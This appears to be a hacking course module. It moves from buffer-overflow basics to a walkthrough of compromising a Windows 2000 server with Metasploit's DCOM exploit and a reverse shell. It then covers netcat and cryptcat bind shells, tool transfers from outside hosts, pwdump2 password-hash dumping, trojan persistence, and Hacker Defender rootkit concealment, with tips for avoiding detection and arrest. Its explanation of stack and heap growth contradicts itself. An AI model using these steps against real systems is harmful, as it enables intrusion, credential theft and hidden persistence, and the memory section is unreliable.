Understanding Memory Off-sets and Usage

Before we begin to understand how memory comes into play; we must first understand that there are many types of code execution when exploitation is concerned. Of the ones that are available, we have the following:

Stack Based Overflows: Normally over-write the stack frame pointer (sfp), return address and the string (str) function itself. Interestingly enough, when a return address is dumped (say: 0x14444444) the attacker can re-direct that output to execute or jump to another segment executing additional code that was not intended to run. This code block is referred to as shell code.

Over-flows can also occur in the BSS, and the heap memory. When code return values are re-directed the output and re-direction is then referred to as shell code. When shell code is executed; the system and environment still believe that the application is performing the functions it has been doing previously. Alternatively what ever group, or user that the application was running at when it was exploited; will determine the shell that the attacker will have access to. Chowning your application to root, or installing an application as root will grant root privileges. This is why many common services (Apache, ftp, mail, etc) are not run as root and are normally tied to names / groups nobody.

Heap Based Overflows: These over flows can be just as effective as their stack based overflows; however not as popular. These over flows normally occur in applications where privilege escalation is needed. Although these vulnerabilities are very dependent upon certain conditions to be met; they are much harder to spot, and even harder to exploit. This is heavily dependent upon the grounds of where in memory the exploit lays. Before the memory address, you would need to point the exploit or application crash to an address segment containing shell code, or effectively over-writing the memory to point elsewhere to execute another code segment.

  In order to understand how heap and stack works, it may be beneficial to understand it in this manor. Stack is essentially what it implies. Stack grows upward, while heap grows down. When application data is added to heap it's initial direction is to grow downward, and when information is added to stack it grows upward. For more information see the example below

Figure of how Heap works by placing new code at the top.

As you can see from our pancake examples, we have heap growing up with the blue disc signifying the new instruction set, as well as stack and how it grows downward. Ideally, a better graphical representation of how memory addresses, heap, stack and others operate is seen in this example:

Env pointer argc

Stack

Heap

.bss

.text

Shared libraries

There are additional locations within memory where attacks can take place. In this address space we have .text, .bss and .data. The chart below will assist you in understanding the three address spaces that were mentioned:

Where, How and When to Test?

The most confusing portions of determining how to and where to test when finding exploits are the issues many security professionals and starters will encounter the most difficulties. Finding exploits will many times not jump out and tell you directly, “here we are!” You'd have to know and abide by a few rules of engagement to unearth insecure applications.

Many of the tactics that experienced attackers will employ to unearth such instabilities within software, or incorrectly programmed applications will be here for you to cover; understand and learn. Following just these simple rules may help you or start you on the patch of full software exploitation. Although many of these examples are programmed with the specific intentions of insecure application development they will lay down and provide the basic road map for where you will begin your journey into software exploitation.

Some locations for testing may become apparent when utilizing the software; however to many average computer users, this is not so. When a software application, or service is first loaded the first prevalent locations to search and look for are input fields. Input fields may not stand out against the untrained eye; however, many times they may offer errors. Again, to the untrained security professional or avid computer user this may simply be an “error” caused on the users part. However, the errors may be deeper and also compound on the development side of the applications internals and due to programmer errors.

One must also understand that the windows environment allows for the SetText API. With this API call any calls made to a user edit field, or label will become vulnerable as the checking is no longer performed through the keyboard inputs (accept key, key down, key up, etc). Instead the windows API sets the information to the window. Again, considering the developers did not perform testing on each button which processes a call or function, this could have some very bad results, and out comes!

Input fields that are only seeking for input of say 25 characters in length, and can only process such lengths are many times at fault. This can cause a few errors. Of the most notable name and address fields. Other fields may also incur the same inabilities to keep the data and it's execution safe. Numerical fields if programmed incorrectly can also offer up the same exploitation process. Numerical fields registered with int, where long, or double long need to be used will carry the same faults if not programmed properly. Including punctuation; where punctuation is not needed can also lead to exploitation. Considering such, the input fields are not the only portions of an application where faults can and will be found. Said with the respect to the programming process, and it's data storage.

Many times, programs which rely upon the successful storage of information (registry keys, data sets, data records, and databases) can and will also carry the same faults as input fields. If you uncover information which can be saved into a database setting, those locations can also be tested. One or many may ask a similar question. Why would a data set that has already been stored and is sanitized matter? The answer to this is simple. More than likely many times programmers will only parse the information being passed on the front end and extract, remove or sanitize the information before it is passed to a dataset. Again, what is the big deal? The big deal comes from the fact that most often once the data is checked before database entry programmers will fail many times to check it during it's retrieval process. Although this can be quite tedious to figure out how information is stored, say we understand how a particular application stores it's name process. The names Salvatore, Anthony, Michael, Joseph, Teresa, Debbie, and Ralph may suffice considering all the names do not exceed the maximum of 15 characters or higher. If we can understand how the data retrieval process works and inject a name within the database, let us use: extremely long name or random data here... as for a testing purpose, when the application reaches this record, is loaded or called the application may crash.

Most notably the main purpose of software exploitation is to unearth the normal programming logic, or have an idea or understanding as to how the program works. From this, we can then attempt to break the normal logical workings of the application that is running.

Because if we tested applications and found errors, and stated “THIS IS WHERE THE ERROR IS” and we attempted to break the security of the target application through exploitation – this would be considered biased testing. The reason this is considered biased testing, is you are only gathering the crash from one end. Once we get an application to crash or we are looking to get information from the internal source code of the application; there are a few tools we can use. On the Windows end we have the olly debugger (http://www.ollydbg.de/). This utility for windows will allow you to see and review the code in ASM format. The next tool we will take a look at is for the, Linux environment. The gdb utility is a very powerful utility that will allow you to not only see the registers of an application, but also enable you to see the source code if it is compiled within the application itself!

Just as a reminder, we will not be reviewing much of the olly debugger. This is because the window are given with 3 separate panes and much of the navigation is fairly easy to understand. You will however, need a detailed understanding of the instructions; and the calls for assembly. Much of the harder steps which involve the usage of gdb, and objdump will be covered. At the end of this module, you will have resources to help you install and setup the information for GDB, and objdump within your, Linux system.

With respect to the processor architecture we will only be covering the architectures of AT&T and the Intel architecture. One may ask why? This is quite simple. The majority of the architectures out in the world mostly run AT&T and more commonly the Intel architecture. Others will include the PPC, SUN, etc. For simplicity we will only cover and address the two common types.

Another factor, more so a pitfall that most system administrators fall prey to is this simple tidbit. They will work and place efforts in blocking exploits from being run from outside the system, or even limit the attack vector through firewalls and also IDS software. However, when on the local machine many remote exploits can still operate and fork a reverse shell when exploiting the local box. WHAT?! One may ask. The answer is simple. Many attacks are blocked from the internet side. However, if a crafty attacker finds his or her way into the box, running the exploit against the loop back controller will many times grant the same access as it would if the exploit was run from across the web. This is one way, and method for attackers to escalate privileges. We will look into privilege escalation in deeper details as we start to branch into “operating system hacking.”

Using gdb Finding the Sweet Spot

As was mentioned before gdb is a debugger found on the, Linux operating system environments (although it is not included on the OS X platform – we are sure that it does exist for it). When we are searching for calls within application development for places to exploit – or even locate the registers that run an application we'd first turn our sights to the objdump application. Again, for the sake of simplicity we have compiled an application that does nothing more than loop to 250 display it's incrementation at every line, and point in the programs execution. Figure 1.0 will demonstrate the source code:

Figure 1.0 demonstrating the C source code in .c form.

 Now that we compiled the application we can take a closer look at the registers that it is utilizing. Bu issuing the following command sequence: objdump -D incrementation.o | grep -A20 “<main>:” we receive the following details, figure 1.1 demonstrates the objdump view of incrementation.o:

Figure 1.1 demonstrating objdump view

 Mainly, we are concerned with a few lines of text to see exactly what main is doing; and what registers it is utilizing to get it's job done. Before we begin and are consumed with exploitation, we have to understand the output that is before us. To our far left we have memory addresses; these addresses will always start with 0x followed by 8048... on our bottom line of:

 Figure 1.1 demonstrating hex dump for memory addresses.

The memory address would be 0x80493ef. This will tell us where in memory the application will be pointing to. Another detail to point out is that, you will either need to understand how hex is added together; however we will not cover the manual process of doing such an activity. The best method to perform such a testing method would be done though a calculator application like the one we utilized in the mac environment. Below you will see that we've added both values from the last two lines. And, we get the following figure 1.2 will detail this for us:

 Figure 1.2 demonstrating two memory addresses.

The memory addresses supplied herein when added provide the following values: 0x100907D9 These values provided here, are always going to be in base-16; what is so important about base-16 anyway? Well, base-16 utilizes 0-9 to demonstrate and represent the values as they are: 0-9. Whereas values A-F represent the values 10-15. It is also utilized to represent four binary bits, which are called nibbles – however, that is not important. Just a friendly, foot stomper from, Anthony. Anyhow.

Because the representations for us aren't all that prevalent and we'd have to heavily rely upon the usage of ASM (assembly) the addresses to the far right are much more useful. Another thing to remember is that when you are writing an application to perform exploitation the ending of your exploit must never be a null-byte. The code must always seem as though it's part of the instruction process so the application accepts it as part of the normal process for it to die; that is, to fork over a shell for the attacker. There are methods to convert this information into proper shell code if a terminating null-byte is present. And, in any case; allow it to flow seamlessly.

With the advent of the two most commonly utilized and employed assembly language specifications, as stated before, AT&T and Intel are the most commonly utilized; and for that – easily recognized. You might ask, “How would one recognize and distinguish between the two?” the answer to such a question is rather simple in nature. By issuing the following command described in figure 1.3 we can clearly see how, and why:

 Figure 1.3 Demonstrating the AT&T Style Syntax

Herein we see that the AT&T style and syntax is quite littered with a few % symbols. While our example in figure 1.4 demonstrates the intel syntax:

 Figure 1.4 Demonstrating Intel syntax.

If you really cannot see and the graphic depictions are far, too small we will run down through the different styles of “architecture browsing” issuing the: objdump -M att -D incremen.o | grep -A20 “<main>:” will dump and provide us with the AT&T style syntax; while the objdump -M intel -D increment.o | grep -A20 “<main>:” operand (-M intel) will display the information with the Intel architecture.

 MORE DETAILED INFORMATION COMING SOON...

Talking to the Architect – The processor

Because talking directly with the processor is needed; we will analyze the information in a few syntax methods. For the simplicity and for how we were taught – we will mainly be looking at the intel syntax. However, this does not mean that we will not demonstrate how to use the prefixed options to display the information in AT&T syntax. Of course the examples will almost always be in the gdb environment. So, let us take a look at implementing some additional parameters and specifying the processor styles. Figure 1.0 demonstrates the usage of setting intel as the primary processor syntax style:

Figure 1.0: Demonstrating setting the processor syntax style.

Figure 1.1 will demonstrate the same command, however, will only demonstrate the usage of the AT&T syntax style:

 Figure 1.1 demonstrating the AT&T processor syntax style output.

Now that we have an understanding of how to utilize the two separate processor architecture syntax values; it is important to understand how the two interact, how does the processor understand the information provided herein? The processor as we've stated many times before, is compromised of a select few syntax commands. The programming language utilized to communicate directly with the processor is that of, Assembly. The assembly language is the closest language next to the processor itself. To have an understanding of the calls, we will include many of the standard assembly calls and their functions. The chart in figure 1.2 demonstrates the calls utilized in assembly:

Figure 1.2 Demonstrating the assembly syntax and meanings of commands.

Because this documentation and class is not focused on the ASM programming language, and or the creation of exploits (as we will be focusing more on the Metaspolit project, Canvas, Core Impact, and other remote exploitation frameworks) this is as far as we will be looking into the exploitation process. The next modules will deal with the usage of the MSF project much more than the others; as it is freely available and easy to use.

Finding Exploitable Applications

The largest exploit databases are online and readily available to anyone who is looking. You can find the information in table 1.0 the most useful for helping you find exploits:

Table 1.0 Displaying various locations for exploit code.

Because we have the tools available, and our scans are pointing to specific operating systems, or software versions through banner grabbing, or any other documentation we've uncovered through our initial searches in our information gathering phases – we can then set the exploitation process in motion. In this process, we are searching for the operating system versions (service packs, too if available!) and software versions to exploit. So, we head over to our listings which are online, and see if there is code. If not, we refer to our exploitation frameworks.

So now that we know what ports are open, and what services we are to expect, we can now get the target system exploited and hopefully get on the box. Note that exploitation does not happen the first time! You may need to run the exploit a few times in order to get it to work; or even fine-tune the application that is doing the exploitation to get it to work!

Because many people love to skip around, we are pointing it out here that the first time an exploit is run, it may not work or perform what it is to perform. Many times it may need to be run more than once, more than 4 times – or even redesigned to work properly. In any case never run an exploit just a few times. Run it more than 5 times in order to see what the results may be; chances are your haste in writing the exploit off is wrong and it does in fact work!

From our nmap scans, we see the following output:

Because nmap returns no useful information in regards to what operating system we are scanning (well, not so true – you can see we are running microsoft services.) Now, what we will do is run a UDP scan against the target, and see what it is that we have on the UDP stack:

PORT STATE SERVICE 123/udp open|filtered ntp 135/udp open msrpc 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 161/udp open|filtered snmp 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 1026/udp open win-rpc 1028/udp open ms-lsa 1029/udp open|filtered unknown 1701/udp open|filtered L2TP 3456/udp open|filtered IISrpc-or-vat

Now that we have this information, it's time to begin exploiting (it should also be known that from our SNMP scans we can obtain the OS if we couldn't obtain the OS from the nmap or other services listing.)

Exploiting Windows NT 2000

In our examples and labs for the class; we've included the Windows NT 2000 server for your exploitation pleasure. Because we must demonstrate how to exploit a system and show how to transfer files across the network, we will do so now.

It might not seem obvious to many people however, exploiting a system behind a NAT device or a firewall with a private network WILL NOT work. When you exploit outside the lab, you will need to exploit with your WAN IP address. Not the internal addresses (e.g: 192.168.x.x, 10.x.x.x, 172.x.x.x) doing so may cause an exploit to fail, or become unresponsive. As detailed previously running the exploit more than once may work. Please do not expect that when an exploit is run for the first time it will work. Chances are it might not. Patience also pays off! Be forewarned.

From our nmap scan (with the magic of precognition) we know from the following output that the box scanned below is a NT 2000 box – And, for 25.00 bucks more we will tell you your future. Anyhow. Below is the scan:

Figure 1.0 Displaying an nmap scan of a remote NT 2000 machine

As you can see, the port 135 is open, and MSRPC is running. In order to exploit the vulnerability we can provide the following:

1. Load a terminal of your choice (gnome-terminal, xterm, kterm)

   1. Inside the terminal enter msfconsole (let the console load. It takes time) You will see the following:

      

       

      (The graphic will differ each time msf is loaded!)

      
      
      

      1. enter the following command: search dcom and press enter. You will see the following output:

       

      1. Select the exploit: windows/dcerpc/ms03_026_dcom by entering the following:

         1. use windows/dcerpc/ms03_026_dcom and press enter.

      2. When you've done that, enter the following text: show payloads You will see the following (if you cannot find it, make life easier by entering: search “bind”):

    

   1. next, we will select the payload by entering: set PAYLOAD windows/shell/reverse_tcp

   2. Then we will enter, set RHOST <remote_host_ip_address>

   3. Finally, we will enter: set LHOST <local_host_ip_address>

   4. After which, we will enter: show options (applicable to certain exploits enter information if required!)

   5. To exploit the remote system, we enter: exploit and press enter.

   
   
   

   When the exploit command is passed, and the exploit is run, if we have successfully exploited the system we will see the following listing in figure 1.1:

   
   
   

Figure 1.1: Displaying a successful exploit of a remote system. Red box indicates reverse CMD shell.

From this point on, we can use this shell to transfer and setup a TFTP, or, FTP and obtain files from the remote end.

Transferring Files to and on a Windows Target

Transferring files to the target host is one of the responsibilities of the attacking party. Depending on the stance you take as a penetration tester, or a hacker the main goal is to set up shop on the remote host. Mainly the process involves transferring files over that you will need to further attack the box, uploading a trojan to the host machine you are currently on to preserve access and then patching the system in order to keep other attackers out of the system you have currently “pwned.”

This purpose of this module will detail how to get this done, and what steps need to be taken into consideration when doing so.

Our Import File list

 Because we've covered a few tactics in which we like to utilize, let's get a grouping of files together so you can see for yourself what is involved in the successful attack, and take over of a target host. The table in figure 1.0 demonstrates the common files needed, and the explanations of each – providing their importance.

Now that we've covered the information you'd need to launch and perform a successful attack and sustain a connection to the remote host. We will explain how to use each tool with graphical depictions of each instance.

Considering that you are taking the classes offered for each of these modules, there will also be available labs for you to perform your testing on as to understanding the information contained in these sections needs to be applied rather than learned.

TFTP File Transferring

Tftp is by default included in windows, and makes for a convenient way for you to obtain files to further hack the system. However, when you launch an exploit against a system you will not be able to execute other functions, or even launch gui applications (notepad, wordpad, regedit, etc) this is because the “Interact with Desktop” option is not executed when you are within a shell.

In order to test what we are speaking about, you can execute from the MSF shell notepad, wordpad, regedit, mspaint, etc and see what happens. What will happen is the session will hang. So, in order to get around this, we will need a suite of tools known as the PSTools designed by sysinternals, now part of microsoft.

In order to obtain files from the remote systems you can do a few things. First, you can take the method that is of much harder work, or you can utilize the method of least resistance. Of the first, we have entering the information inside the reverse shell manually as seen here in figure 1.0:

Figure 1.0 Demonstrating a binary get with tftp.

You can do this manually with each transaction or you can batch the request in a minor step up to laziness. Figure 1.1 will demonstrate our laziness (which is efficient)

Figure 1.1: The lazy hard coded batch file.

 What we've done with this batch file is we hard coded the IP address into the batch file. Then, we did our get requests. We provide this as follows (view of the 'source-code'):

Figure 1.2: Source-code view of batch file.

Now to get even more lazy and be more efficient we can perform this get request with asking the user, or attacker (you) what your WAN IP address is. And, with that request we can have the batch file insert the IP address and get the files. This way if you attack multiple machines and you're on a dynamic WAN, or doing the testing from multiple locations you don't have to edit each line.

 We can create the batch file utilizing the following source code (you will need to insert each file that you will need to get):

 Figure 1.3: Batch file to auto-get files from tftp the laziest way possible.

 When this command is run, we will see the following across the screen (notice that in this batch file we will have to enter the address manually as it's no longer hard coded into the file in the original figure of 1.2). We can also remove the -i option from the tftp get request due to the fact that we are not transferring a binary file. (Command sequence: tftp <HOST_IP> get <BATCH_FILE>):

 Figure 1.4: Demonstrating a successful transfer of “lazytftp.bat”

 
As you can see we have performed a dir command to see if the lazytftp.bat file has been transferred, and as you guessed. It has been. Figure 1.5 demonstrates the successful execution of the batch file, as well as the listing of files we've needed to include:

Figure 1.5: Cumulative view of batch file execution and file transfer.

FTP

As we have stated in the previous chapter about TFTP sessions, FTP is bound by the same issues. Don't worry about utilizing psexec to get around this little issue. You cannot! The only effective method would be to make a batch file to mget the files in the directory listing for – on a remote file server that is. In the same method that we have executed the tftp file transfer from batch file for convenience, the same methods also apply here.

In this instance we will run a batch file to connect to an angel fire account (yes you have heard right, it's free and still in full swing) and we will then get the files from the target server. Here is an example of the batch file we will design to get the files for us:

Figure 1.0 displaying the initial batch file with the FTP connect request.

Next we will create a log file that will contain the commands to accomplish the file transfers (notice that we've dropped the mget and used a get for specific files. Yours may be dramatically different):

Figure 1.1: a log file to be read from by FTP.

To iterate what is going on here, we see that the ftp_username is the FTP users name, followed by the password below it. Then, we display the directory structure, and finally we switch to binary and get the file(s) we need. Lastly, we will then quit the session. Note that if you are to unzip files you will need to utilize the un/zip.exe files in an unzipped fashion. Otherwise, you will not be able to decompress. For simplicity you can also leave the files open on the server, and download files you may need individually.

When the download has finished from FTP we need to then verify if our files have arrived beautifully. In order to perform this action, issuing the quit, or bye command to the FTP server will effectively tear down the connection. Thus, returning us to the forked shell, and will display the following information as seen in figure 1.2:

Figure 1.2 demonstrating a dir of the files in sysfiles that we've downloaded.

The next, punitive step in which we partake in is copying the files into the system root of windows. We do this for a few reasons. The first reason is because when a command is called (wget, nc, etc) the application will be called without direct path (C:\windows\sysfiles\nc.exe) and it's easier for us to launch those commands throughout the system. Figure 1.3 demonstrates the move of the files. We have seen that windows is rather fickle in the regards of copying files. So, moving the files works best. The next step is to be very careful. You may notice the reversed or forked session to be quite asinine. So be very careful when entering commands. You may enter half-assed commands and ruin your attack techniques!

Figure 1.2 Demonstrating a successful copy command of nc into C:\windows.

When the file is moved to it's new location, you will receive an acknowledgement from windows command shell designating such. Figure 1.3 demonstrates this for us:

Figure 1.3 acknowledging a copied file.

Because we've encountered errors with the copy command for the rest of the syntax, we've moved our focuses and attention to the usage of the move command (which is still basically the same syntax as copy.). Figure 1.4 displays the usage of the move command for the remainder of the files we'd like to call:

Figure 1.4 Demonstrating the usage of move, and the execution
of wget to see if it's working properly.

Netcat File Transfers

As we've stated many times in other modules. The netcat utility (and also known as nc) is useful for many activities; one of the uses for netcat is the act of transferring files to and from a remote target. This however, providing that you've already established a connection to the remote host utilizing some form of reverse shell, and obtained your helper files via FTP / tftp.

The next steps you would normally associate with this type of attack is to set the nc utility to listen for connections on the command line. Remember that nc allows you to bind over ports. So, any ports that are open, would be a good point of interest as it will fly under the radar and allow you to send files without detection (to an extent, we will cover this more with cc [cryptcat] in later modules).

To set nc to listen on a specific port, and download a file – issue the following commands (as shown in figure 1.0):

Figure 1.0 Setting nc to listen over port 80 to send hacker defender rootkit.

It is wise to point out that nc is not very friendly! If and when you transfer a file it does not tell you if the transfer has been successful. So, you will need to utilize some better judgment and timing when using this function of nc. Otherwise, you will find out that you've broken some downloads, and need to to it all over again.

Once the listening portions are setup on the remote system; we will then issue the following commands in netcat on the local box, figure 1.1 demonstrates this:

Figure 1.1 file being piped over port 80 in nc from our local attack box.

When you feel that the download is completed; you may then press the CTRL+C to break the connection. When this is completed, on the remote end – do the same, if the connection does not break. In this instance issue the dir command in order to double-check the file size. Figure 1.2 Demonstrates this:

Figure 1.3 Demonstrating the dir command and file size.

On our attack box, we issue the ls -lpa | grep hacker_defender.exe syntax in order to determine if the file is of the same size. Figure 1.4 demonstrates this:

Figure 1.4 illustrating the file size “6868” which is the same in figure 1.3 “6,868”

When all these parameters have been passed; and completed, you can run the command from the remote session by executing “filename.exe” and the application will load.

Cryptcat

We've mentioned cryptcat in previous modules, lightly touching the subject. Now, because you know how to transfer files to and from a target after successful exploitation – it's time to determine the route in which you'd like to undergo in regards to your communications. Enter the world in which encryption aids the attacker to being more stealthy.

The option sets for cryptcat are the same as the options of the netcat version. The only changes that have been made were the changes to the communications medium. Now, cryptcat operates with encrypted twofish sessions. Below are some rancid sessions setup on a windows environment. With the examples, we will express the options that we've utilized.

Because of the session that has been created, on the target remote box, you will enter the following for cryptcat to operate in normal conditions: cryptcat -l -v -p 53 -k hacked > sniffer2.exe the command syntax is, cryptcat to listen with verbosity on port 53, and a secret password of hacked, piping that information out to the sniffer2.exe application. Figure 1.0 demonstrates a mangled portion of this:

Figure 1.0 demonstrating a connected session to a listening host that's been hacked.

On the sending end, we have to insert the following connection sequence parameters to get it going. Figure 1.1 demonstrates this:

Figure 1.1 demonstrating sending a file through port 53 to a remote target.

Because nc and cc are quite interesting applications, one will never tell if the information they've sent over has been a success or not. In order to determine this, the sending application, or shell prompt must be control+C'd off the window. You will notice the following details in cryptcat when this is completed, figure 1.2 will demonstrate this:

Figure 1.2: If you notice, there is a “punt!” right below the (domain) open line

With these parameters you can see that we've successfully transferred a file to a remote host. The last option, is to perform an ls or dir command to see if the file sizes match; even so performing an md5 check on the files.

Fun With NC and CC

This documentation will detail how you can use nc and cryptcat to listen and fork over a shell without the use of a Trojan. What is the entire point of hacking, if you really can't have any fun? Seriously.

When we are on the target box, given the art of laziness, we can set netcat to listen and pipe out information from the command line. How is this done? Well, it's rather simple. By issuing: nc -l -p 1203 -d -e cmd.exe -L we can successfully set up nc to listen and pipe out command.exe This would be the output from the remote end to set it up:

Figure 1.0 Demonstrating how to setup nc to listen and piping commands out through cmd

On our remote attack box, we can simply connect to netcat by entering the following commands: nc 192.168.1.30 1203. Figure 1.1 demonstrates the effects of such:

Figure 1.1 demonstrating a connection to cmd on the target displaying ipconfig

When we use cryptcat the options remain basically the same, however we are now piking it through an encrypted session. In order for us to do this, we enter the following syntax: cryptcat -l -p 11223 -k hacked -d -e cmd.exe -L figure 1.2 demonstrates the setup of this:

Figure 1.1 demonstrating a listen over an encrypted cryptcat session.

To provide and provide that our session really is encrypted, we use the standard nc tool to connect back to the machine, figure 1.2 demonstrates the encryption on the session:

Figure 1.2 encrypted session with crypt cat, and attempting to connect with regular nc.

In order for us to utilize the session created over port 11223 we'd need to launch cryptcat with the following parameters: cryptcat -k hacked 192.168.1.30 figure 1.3 displays this:

Figure 1.3 demonstrating a cryptcat session.

Although we are not only limited to performing such acts against the servers, or end nodes in this fashion, we can also pike out data from files, packed archives to be more exact.

Pwdump2

Pwdump2 is a utility for obtaining the users names, and the password hashes (NTLM) from the box you've successfully established a connection to. Pwdump2 relies upon 2 core files. Samdump.dll and samdump.dsp. Without these two files it is nearly impossible to obtain the hashes from the system. Pwdump2 operates with the standard call and syntax. Figure 1.0 demonstrates the use of pwdump2 on a windows XP professional machine with no service pack installed.

It must be pointed out, and stressed that pwdump2 must be run from an administrators account, or an account with administrator privileges. Without this privilege the injection process into lsass cannot be performed. This is for demonstration purposes only as of now. Later on we will cover methods in which you can gain admin privileges if you haven't already done so through the use of remote exploitation. We will also take a deeper look into the efforts of privilege escalation efforts in the windows hacking section, under privilege escalation.

Figure 1.0 Demonstrating the command before execution.

The next example in figure 1.1 displays the dump of the information from the pwdump2 command:

 
Figure 1.1 demonstrating an effective dump of users (as we've seen with SNMP)

Now once we have this information from the users section, we can input this into our cracking programs to crack the passwords; however we will not be covering password cracking in this module. Modules on password cracking are coming up in the next few chapters.

However, do keep in mind and note the user names in which we've just extracted from the target host. We will need to call upon them in due time.

 User2sid & Sid2User

 User2sid is an application which will map out the user to a security identifier (SID). This can help you identify who is an administrator, and whom are regular users. The use of user2sid is quite simple and straight forward. Once, we've downloaded and copied the information from the target host we can then begin to extract information from the system. The table below displays the user accounts which have been found:

 Figure 1.0 demonstrating the users on the target host.

Notice that administrator accounts hold the value of 500. You can clearly see this in the “Administrator:500” values designating an administrator account. Because we have the names on this target host admin, administrator, devin elise, finance, Guest, hackme, HelpAssistant, and finally, lisa vitale. We can begin to extract information from the host. This is done to assure who the users are. Figure 1.1 demonstrates this:

Figure 1.1 demonstrating a lookup to “devin elise”

The reason why we are applying the name in quotations is because utilizing devin elise as a standard name will return errors. So, encompassing the information within quotations tells the application to search for the string within them. Figure 1.2 demonstrates the use of a lookup on an administrator account:

 Figure 1.3 Displaying an ending SID of 500 – Surefire hint this is an administrator!

From the examples, we can also provide lookups on the target machine to determine which groups in which the users belong to. Again, this is straight forward, and we will provide a brief look into using the sid2user utility, with the user name of “administrator” and “admin”.

Note that the information dumped from user2sid with the names will return a string delimited by dashes. You must remove the “S-1-” portions, and everything to the right of this text, remove the dashes from the string. You will return some information as such: “5 21 1757981266 839522115 842925246 1008” with this number is the number you will utilize for your sid2user queries.

Figure 1.4 Demonstrates a lookup of the user accounts, using the identifiers:

Figure 1.4 demonstrating the lookup of admin.

The next lookup will consist of looking up the administrator account, as shown in figure 1.5:

Figure 1.5 demonstrating the lookup for account Administrator.

Trojans and Rootkits

If it's one thing that we've become a custom to, it's writing our own, Trojans. Given we do develop them in the VB environment, there will come a time when we will be developing these nasty little applications within the Linux and Win environments for everyones enjoyment. Furthermore, we'd like to think of ourselves as quite knowledgeable on the grounds and basis of developing, Trojans. If it's one thing we will never say it would be “we are pros” or we are “experts / gurus.” If you've ever had the pleasure to know a hacker – you'll understand one thing. We never put ourselves this highly. People always learn; those are just “terms” applied.

Trojans will help procure an access channel if you've already breached a system and are willing to keep a service connection open and running. My friends, there are many ways in which you can go about doing this with a, Trojan. Encrypted, plaintext, reverse connection, direct connection, and finally connectionless. Somewhere on the line we have both UDP, TCP and IRC driven, Trojans. What you use is completely up to you. Now that we've already breached a server, we'd like to obtain information which governs, runs and extend additional information. So, we've laid down some, Trojan code, and wrote up our own custom, Trojan (Remote|Reliance) to handle this for us.

There are, however two things we must detail and discuss. Trojans sometimes come with what is called “Error and install.” What this does is it will error to the user, and then install. If you are installing a, Trojan through a reverse shell, don't! It will be only a matter of time before you are discovered. Secondly, if you understand how the, Trojan works I would suggest writing a reg file to be imported so the error does not display when the application is executed. The second portion, and the portion which makes the most difference, is when you run a, Trojan or deploy one in an environment. Please make sure that you are utilizing a rootkit to hide your presence. Otherwise, any commands, or simple viewing of the system you will find yourself in hot water and on the cover of a magazine in shiny silver bracelets!

Without any further, ado let us do what we must! Because we've already downloaded the trojan from the previous examples with mget, batch files, or wget (and of course we've set up that silly little directory “sysfiles” – our trojan will be in there.) Figure 1.0 demonstrates the view of the files in sysfiles:

Figure 1.0 demonstrating “Trojan.exe” as being present.

So, what we will do next is we will dump information from netstat. In order to do this, we will run netstat -a -n so we can see any valid connections, and our return is as follows:

Figure 1.1 netstat -a -n output (truncated)

Of course, yet again this is, too much information to weed through. So, if we have tools why should we? If we use the pipe character ( | ) and combine it with the Find command, we can retrieve the port we are looking for. This may seem pointless, but in all actuality it is not. We first want to see if our port is active before we launch our rootkit. This is because if we cannot see the port, how can we troubleshoot it later on? We want to know everything is working and in the right manor! So, now that we run the netstat -a -n | Find “4405” for the first time we receive the following output:

Figure 1.2 Demonstrating a netstat -a -n | Find “4405” output statement.

So, what does this line mean? Translation, it means “We didn't find the port, so bugger off!” Now, we need to load our, Trojan and perform the action sequence again. Figure 1.3 demonstrates this:

Figure 1.3 Demonstrating that 4405 is listening, and awaiting a connection.

Since we now have confirmation that the, Trojan is listening. We need to then connect to the target to see if we can get into the targeted system and have an “extended” poke around at things. If not, we may have to configure the, Trojan (This is where scripts and extended tools come in handy!). So, let us go back to our windows box, load up our, Trojan application and see if we can connect. Figure 1.4 – 1.7 displays an active, Trojan connection please note that this trojan is not publicly available; and is commercial!

Figure 1.4 Demonstrating the initial loading of our, Trojan

Figure 1.5 Demonstrating a connection request on port 4405

Figure 1.6 Demonstrating a successful connection request (completed) to the target host.

Figure 1.7 Demonstrating the search for additionally exploitable software (that potential other targets in the environment may be running and utilizing).

Now that we've solidified and are assured that we've sustained a connection to the target box, what is next? Next, we configure our hacker-defender rootkit (We do understand it's a bit out dated, however it is still beneficial to use and quite simplistic to setup). In our next, paradigm we will display our listing of information that we like to utilize for hacker defender, although minuscule our example will contain the “meat and potatoes” to get you started with utilizing the borland written application.

Figure 1.8 will demonstrate the configuration file of hacker defender. Here is our configuration file in which we've used to attack the box in the examples we've been hammering away at for some time. Note the before and after shots of this root kitted box, and you will understand the main differences. Although the rootkit is user mode, it is easier to spot. The hardest rootkits are those which run kernel level, and for the linux end, LKM (Loadable Kernel Modules [although there are certain counter measures around this – we will explain this in the linux section only]).

Figure 1.8 hacker defender hidden listing.

One of the many descriptor of hacking that we must point out is the lack of unzipping agents on the windows end. So, what we've done is we've issued a wget statement to: http://stahlforce.com/dev/unzip.exe and downloaded the cmd line zipping agent to unzip hacker defender. Also, note that we did not transfer through nc as the downloads were being dingy. We've decided to ftp into a remote host, and do our downloading from a remote site (angelfire works well! If you don't have an angelfire account, I would suggest getting one. However, any free web space domain will work with this).

Once we've gotten our files on the host, we issue the unzip hx.zip and the files are magically unzipped. Now that this is finished, let's load our files on the target system. Please note that you can modify your files utilizing the edit command in windows dos mode. So, we will now display the before and after snap shots:

Figure 1.9 Demonstrating “sysfiles” where our hacker files are.

Figure 2.0 Demonstrating all our files in “sysfiles”

Figure 2.1 Demonstrating an un-rootkitted dir command showing all files.

Figure 2.2 Demonstrating running the hackerdefender rootkit.

Figure 2.3 Demonstrating the lack of files after the rootkit has been run.

Figure 2.4 Displaying the lack of files from the post rootkit execution.

Figure 2.5 Demonstrating the lack of “sysfiles” in the windows directory after execution.

Quite basic, and minimalistic, yes! Although this is just some of the features, what about the netstat -a -n command, and hiding files from the process list? Hacker Defender also has the ability to perform these actions, too! Figure 2.6 demonstrates the use of hiding this information in the configuration file:

Figure 2.6 Process and Port listing.

Hiding these files, and listings will assure that we can communicate without any boundaries across the network, furthermore, we've hidden files that we'd rely upon to escalate privileges and obtain additional information. From this, we are pretty much hidden; although there are countermeasures to this, we will cover this in our countermeasures documentation later on – or in separate materials and documentation.

Chaosreader – Sniffers & Rebuilding Captured Traffic

Sniffing network traffic with tools like tcpdump, wireshark, tshark or others may require the escalation of privileges in order to sniff in promiscuous mode. Furthermore, the installation of libpcap, and winpcap do require access to an administrators, or administratively privileged accounts. Doing so from a standard user account will not provide to be efficient on any level!

